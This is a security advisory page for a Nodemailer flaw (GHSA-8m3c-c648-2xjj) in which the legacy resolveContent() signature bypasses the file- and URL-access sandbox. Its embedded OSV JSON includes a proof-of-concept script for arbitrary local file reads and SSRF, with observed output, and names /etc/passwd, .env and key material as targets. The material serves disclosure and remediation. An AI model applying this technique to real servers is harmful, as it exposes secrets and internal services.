GHSA-8m3c-c648-2xjj: Nodemailer ResolveContent() On A MailMessage Bypasses Vulnerability
MODERATEGHSA-8m3c-c648-2xjj is a MODERATE (CVSS 5.9) resolvecontent() on a mailmessage bypasses vulnerability (CWE-73: External Control of File Name or Path) affecting Nodemailer libraries in the npm ecosystem. The issue involves resolvecontent() on a mailmessage bypasses disablefileaccess/disableurlaccess when called with the legacy signature. Remediation is available by upgrading affected packages to version 9.1.1.
GHSA-8m3c-c648-2xjj at a Glance
Security Impact
CVSS: 5.9
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:L/A:N).
How to Fix GHSA-8m3c-c648-2xjj
To remediate this vulnerability, upgrade all affected Nodemailer dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
npm install nodemailer@9.1.1
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
npm ls nodemailer
How to Check if You Are Affected
To determine whether your Node.js application is affected by GHSA-8m3c-c648-2xjj, inspect your project dependencies using npm:
npm ls nodemailer
Analyze the terminal output to locate any version of Nodemailer in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 9.1.1), your application is affected.
Note: The npm ls nodemailer command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-73: External Control of File Name or Path, where the product allows user input to control or influence paths or file names that are used in filesystem operations. In Nodemailer, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
GHSA-8m3c-c648-2xjj Affected Nodemailer Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
nodemailer
|
npm |
< 9.1.1
|
9.1.1
|
References
Frequently Asked Questions
What is GHSA-8m3c-c648-2xjj?
Which Nodemailer versions are affected?
What version fixes GHSA-8m3c-c648-2xjj?
Is nodemailer affected?
What is the CVSS score of GHSA-8m3c-c648-2xjj?
What CWE is associated with GHSA-8m3c-c648-2xjj?
How can I check npm dependencies for GHSA-8m3c-c648-2xjj?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-8m3c-c648-2xjj",
"modified" : "2026-09-08T21:16:00Z",
"published" : "2026-09-08T21:16:00Z",
"aliases" : [ ],
"summary" : "Nodemailer: resolveContent() on a MailMessage bypasses disableFileAccess/disableUrlAccess when called with the legacy signature",
"details" : "### Summary\n\nNodemailer's `disableFileAccess` / `disableUrlAccess` options are a security sandbox that lets an application forbid untrusted message content (`html`/`text`/attachment `path`/`href`) from reading local files or making outbound HTTP(S) requests. The fix for GHSA-wqvq-jvpq-h66f (commit `5f69497`) threaded these flags through the library's internal resolution paths (`MailMessage.resolveAll()` and `_convertDataImages()`), but the public plugin API `MailMessage.resolveContent(...args)` (`lib/mailer/mail-message.js:41-43`) remains a raw passthrough to `shared.resolveContent()`.\n\nWhen called with the documented legacy signature `mail.resolveContent(data, key, callback)`, `shared.resolveContent` normalizes the missing options argument to an empty object (`options = options || {}`, `lib/shared/index.js:530`). The message-level flags that the `MailMessage` constructor already copied into `mail.data` (`lib/mailer/mail-message.js:34-38`) are silently discarded, so `resolveContentValue` skips both access-control guards and reaches `nmfetch(url)` (SSRF, `lib/shared/index.js:588`) or `fs.createReadStream(path)` (arbitrary file read, `lib/shared/index.js:597`).\n\nA plugin or application code that resolves message content through the documented API (the same API the library's own `_convertDataImages` uses, threading the flags explicitly) thereby bypasses the sandbox an application deliberately enabled.\n\n### Details\n\nRoot cause. The `MailMessage` constructor stores the transporter-level sandbox flags on the message object (`lib/mailer/mail-message.js:34-38`):\n\n```js\n['disableFileAccess', 'disableUrlAccess', 'normalizeHeaderKey', 'maxRecipients'].forEach(key => {\n if (key in options) {\n this.data[key] = options[key];\n }\n});\n```\n\nThe public resolver is a pure passthrough (`lib/mailer/mail-message.js:41-43`):\n\n```js\nresolveContent(...args) {\n return shared.resolveContent(...args);\n}\n```\n\n`shared.resolveContent` supports the legacy 3-argument signature and collapses the missing options to `{}` (`lib/shared/index.js:524-530`):\n\n```js\nmodule.exports.resolveContent = (data, key, options, callback) => {\n // options is optional; support the legacy resolveContent(data, key, callback) signature\n if (!callback && typeof options === 'function') {\n callback = options;\n options = false;\n }\n options = options || {};\n ...\n resolveContentValue(data, key, options, callback);\n```\n\n`resolveContentValue` then checks `options.disableUrlAccess` / `options.disableFileAccess` (`lib/shared/index.js:581` / `:590`), both `undefined` for the legacy signature, so it falls through to `nmfetch` (`:588`) or `fs.createReadStream` (`:597`).\n\nContrast with the fixed paths. `resolveAll()` (`lib/mailer/mail-message.js:112-115`) and `_convertDataImages()` (`lib/mailer/index.js:437-440`) both pass the message flags explicitly. The MIME streaming path (`lib/mime-node/index.js:1059-1077`) also honors the flags. So an application that enables the sandbox and then calls `transporter.sendMail()` is protected; the bypass appears only when message content is resolved through the public legacy-signature API — which is the documented plugin usage (the `resolveContent` JSDoc at `lib/shared/index.js:510-523` states it is \"useful when you want to create a plugin that needs a content value\").\n\nAffected versions. Confirmed on `9.1.0` (HEAD `efd6e29c10c6e0c25c57bd2f2a71302838235a4f`, the current npm latest). The gap was introduced by the GHSA-wqvq-jvpq-h66f fix and is still present; the public API has no regression coverage (`test/mailer/mail-message-test.js` contains no `resolveContent` test).\n\n### PoC\n\nRequires: `nodemailer@9.1.0`, a readable local file, and any reachable HTTP endpoint (loopback suffices). Non-destructive; no network egress beyond a local listener.\n\n```js\n'use strict';\nconst nodemailer = require('nodemailer');\nconst MailMessage = require('nodemailer/lib/mailer/mail-message');\n\nconst TARGET_FILE = '/app/src/package.json'; // any readable local file\nconst SSRF_URL = 'http://http-sink:8080/poc-ssrf'; // any local/internal HTTP target\n\nconst transporter = nodemailer.createTransport({\n streamTransport: true,\n disableFileAccess: true, // sandbox explicitly enabled\n disableUrlAccess: true\n});\n\nconst data = {\n from: 'a@example.com', to: 'b@example.com', subject: 'poc', text: 'hello',\n html: { path: TARGET_FILE },\n attachments: [{ filename: 'x.bin', href: SSRF_URL }]\n};\nconst mail = new MailMessage(transporter, data);\n// mail.data.disableFileAccess === true, mail.data.disableUrlAccess === true\n\n// Documented legacy plugin signature — options argument omitted:\nmail.resolveContent(mail.data, 'html', (err, value) => {\n if (err) return console.log('BLOCKED', err.code);\n console.log('FILE_READ_OK len=', value.length); // -> 1647 (package.json)\n});\nmail.resolveContent(mail.data.attachments, 0, (err, body) => {\n if (err) return console.log('BLOCKED', err.code);\n console.log('URL_FETCH_OK body=', body.toString()); // -> fetched response\n});\n```\n\nObserved output on the audit environment (Node 22, `nodemailer@9.1.0`):\n\n```text\nmail.data.disableFileAccess = true | disableUrlAccess = true\n[CONTROL resolveAll] err = EFILEACCESS : File access rejected for /app/src/package.json\n[CONTROL html.path explicit-options] err = EFILEACCESS\n[BYPASS html.path legacy] READ OK len = 1647 head = \"{\\n \\\"name\\\": \\\"nodemailer\\\",\\n \\\"version\\\": \\\"9.1.0\\\",\\n \\\"des\"\n[BYPASS att[0].href legacy] FETCH OK len = 13 body = \"HTTP-SINK OK\\n\"\n```\n\nThe negative controls (`resolveAll`, and `resolveContent` with explicit `{ disableFileAccess: true }`) return `EFILEACCESS`, proving the sandbox works on the protected paths and only the legacy-signature passthrough is bypassed. The same bypass reproduces inside a real `transporter.sendMail()` flow when a `compile` plugin calls `mail.resolveContent(mail.data, 'html', cb)` / `mail.resolveContent(mail.data.attachments, 0, cb)`.\n\n### Impact\n\nAn application that enables `disableFileAccess` / `disableUrlAccess` to contain untrusted message content and that resolves content through the documented plugin API (`mail.resolveContent(data, key, callback)`) has its sandbox silently bypassed:\n\n- Arbitrary local file disclosure: a message `html`/attachment `path` pointing at a server file (`/etc/passwd`, `.env`, key material) is read and returned to the caller / delivered in the message.\n- Server-side request forgery: a message `href` pointing at an internal or loopback URL is fetched from the application host.\n\nReachability precondition: the sandbox flags must be enabled (default off) and the application or its plugin must invoke the documented legacy-signature API on attacker-influenced data. The default `transporter.sendMail()` path remains protected, so this is a defense-in-depth gap in the library's own access-control enforcement rather than a default-flow bypass. It is the same vulnerability class as the previously accepted GHSA-wqvq-jvpq-h66f (CVE-2026-82660) and GHSA-p6gq-j5cr-w38f (CVE-2026-82659), on a distinct third code path.",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:L/A:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "npm",
"name" : "nodemailer"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "9.1.1"
} ]
} ],
"database_specific" : {
"last_known_affected_version_range" : "<= 9.1.0"
}
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/nodemailer/nodemailer/security/advisories/GHSA-8m3c-c648-2xjj"
}, {
"type" : "WEB",
"url" : "https://github.com/nodemailer/nodemailer/commit/ab7ef348b9a97b1fd70e7bfbeb56d4ea4a07946b"
}, {
"type" : "WEB",
"url" : "https://github.com/nodemailer/nodemailer/commit/dc48ed395c4d6c79ee5c95eb6eff17bafe391474"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/nodemailer/nodemailer"
}, {
"type" : "WEB",
"url" : "https://github.com/nodemailer/nodemailer/releases/tag/v9.1.1"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-73", "CWE-918" ],
"severity" : "MODERATE",
"github_reviewed" : true,
"github_reviewed_at" : "2026-09-08T21:16:00Z",
"nvd_published_at" : null
}
}